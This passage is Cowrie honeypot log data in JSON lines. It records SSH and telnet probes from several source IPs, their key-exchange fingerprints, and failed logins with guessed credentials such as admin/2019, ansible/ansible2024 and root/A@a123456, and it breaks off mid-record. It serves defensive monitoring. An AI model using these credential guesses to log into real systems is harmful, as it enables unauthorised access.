{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:39.180860Z","src_ip":"156.227.233.77","session":"d40e8bfcb7fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2019","message":"login attempt [admin/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:39.871876Z","src_ip":"156.227.233.77","session":"d40e8bfcb7fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:41.038465Z","src_ip":"156.227.233.77","session":"d40e8bfcb7fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dae54c487cb","protocol":"ssh","message":"New connection: 159.203.92.129:57150 (159.203.135.109:22) [session: 9dae54c487cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:46.243406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:46.248556Z","src_ip":"159.203.92.129","session":"9dae54c487cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:46.253842Z","src_ip":"159.203.92.129","session":"9dae54c487cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2024","message":"login attempt [ansible/ansible2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:46.268284Z","src_ip":"159.203.92.129","session":"9dae54c487cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":48214,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefae5493613","protocol":"telnet","message":"New connection: 139.162.207.207:48214 (10.17.0.5:23) [session: eefae5493613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:46.606731Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:47.274295Z","src_ip":"159.203.92.129","session":"9dae54c487cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.0831432342529297,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:47.689736Z","src_ip":"139.162.207.207","session":"eefae5493613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00219178199768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:01.864557Z","src_ip":"92.52.131.58","session":"84e0b479e7cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7979e2304e","protocol":"telnet","message":"New connection: 139.162.207.207:55232 (10.17.0.5:23) [session: cd7979e2304e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:10.900441Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6eb386571c1","protocol":"telnet","message":"New connection: 139.162.207.207:38584 (10.17.0.5:23) [session: f6eb386571c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:20.525163Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46774,"dst_ip":"159.203.135.109","dst_port":23,"session":"6664db73a00b","protocol":"telnet","message":"New connection: 185.26.126.47:46774 (159.203.135.109:23) [session: 6664db73a00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:22.839152Z"}
{"eventid":"cowrie.session.closed","duration":7.1500937938690186,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:29.989123Z","src_ip":"185.26.126.47","session":"6664db73a00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35308,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4d6c7a18b4","protocol":"ssh","message":"New connection: 159.203.92.129:35308 (159.203.135.109:22) [session: fd4d6c7a18b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:30.776365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:30.780331Z","src_ip":"159.203.92.129","session":"fd4d6c7a18b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:30.784685Z","src_ip":"159.203.92.129","session":"fd4d6c7a18b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2025","message":"login attempt [ansible/ansible2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:30.793583Z","src_ip":"159.203.92.129","session":"fd4d6c7a18b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:31.800750Z","src_ip":"159.203.92.129","session":"fd4d6c7a18b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54364,"dst_ip":"159.203.135.109","dst_port":23,"session":"823ab39a8e5e","protocol":"telnet","message":"New connection: 185.26.126.47:54364 (159.203.135.109:23) [session: 823ab39a8e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:32.977954Z"}
{"eventid":"cowrie.session.closed","duration":35.54225039482117,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:46.442506Z","src_ip":"139.162.207.207","session":"cd7979e2304e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96187663078308,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:01:54.486958Z","src_ip":"139.162.207.207","session":"f6eb386571c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":37552,"dst_ip":"159.203.135.109","dst_port":22,"session":"60903adbcde9","protocol":"ssh","message":"New connection: 37.143.61.130:37552 (159.203.135.109:22) [session: 60903adbcde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:05.185899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:06.194151Z","src_ip":"37.143.61.130","session":"60903adbcde9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:07.608043Z","src_ip":"37.143.61.130","session":"60903adbcde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@a123456","message":"login attempt [root/A@a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:11.422467Z","src_ip":"37.143.61.130","session":"60903adbcde9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.577123165130615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:11.554987Z","src_ip":"185.26.126.47","session":"823ab39a8e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:12.681870Z","src_ip":"37.143.61.130","session":"60903adbcde9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36584,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f37a086822","protocol":"ssh","message":"New connection: 159.203.92.129:36584 (159.203.135.109:22) [session: 89f37a086822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:16.405406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:16.410411Z","src_ip":"159.203.92.129","session":"89f37a086822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:16.417495Z","src_ip":"159.203.92.129","session":"89f37a086822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2026","message":"login attempt [ansible/ansible2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:16.429392Z","src_ip":"159.203.92.129","session":"89f37a086822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:17.475256Z","src_ip":"159.203.92.129","session":"89f37a086822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c70749b262f","protocol":"telnet","message":"New connection: 185.26.126.47:36102 (159.203.135.109:23) [session: 5c70749b262f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:22.417655Z"}
{"eventid":"cowrie.session.closed","duration":6.598873853683472,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:02:29.016414Z","src_ip":"185.26.126.47","session":"5c70749b262f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58432,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3847c3e92e4","protocol":"ssh","message":"New connection: 159.203.92.129:58432 (159.203.135.109:22) [session: c3847c3e92e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:02.223933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:02.229185Z","src_ip":"159.203.92.129","session":"c3847c3e92e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:02.234001Z","src_ip":"159.203.92.129","session":"c3847c3e92e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible456123","message":"login attempt [ansible/ansible456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:02.246957Z","src_ip":"159.203.92.129","session":"c3847c3e92e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:03.303148Z","src_ip":"159.203.92.129","session":"c3847c3e92e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34222,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff53dccb48c","protocol":"ssh","message":"New connection: 80.94.92.182:34222 (10.17.0.5:22) [session: 6ff53dccb48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:05.035548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:05.435745Z","src_ip":"80.94.92.182","session":"6ff53dccb48c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-s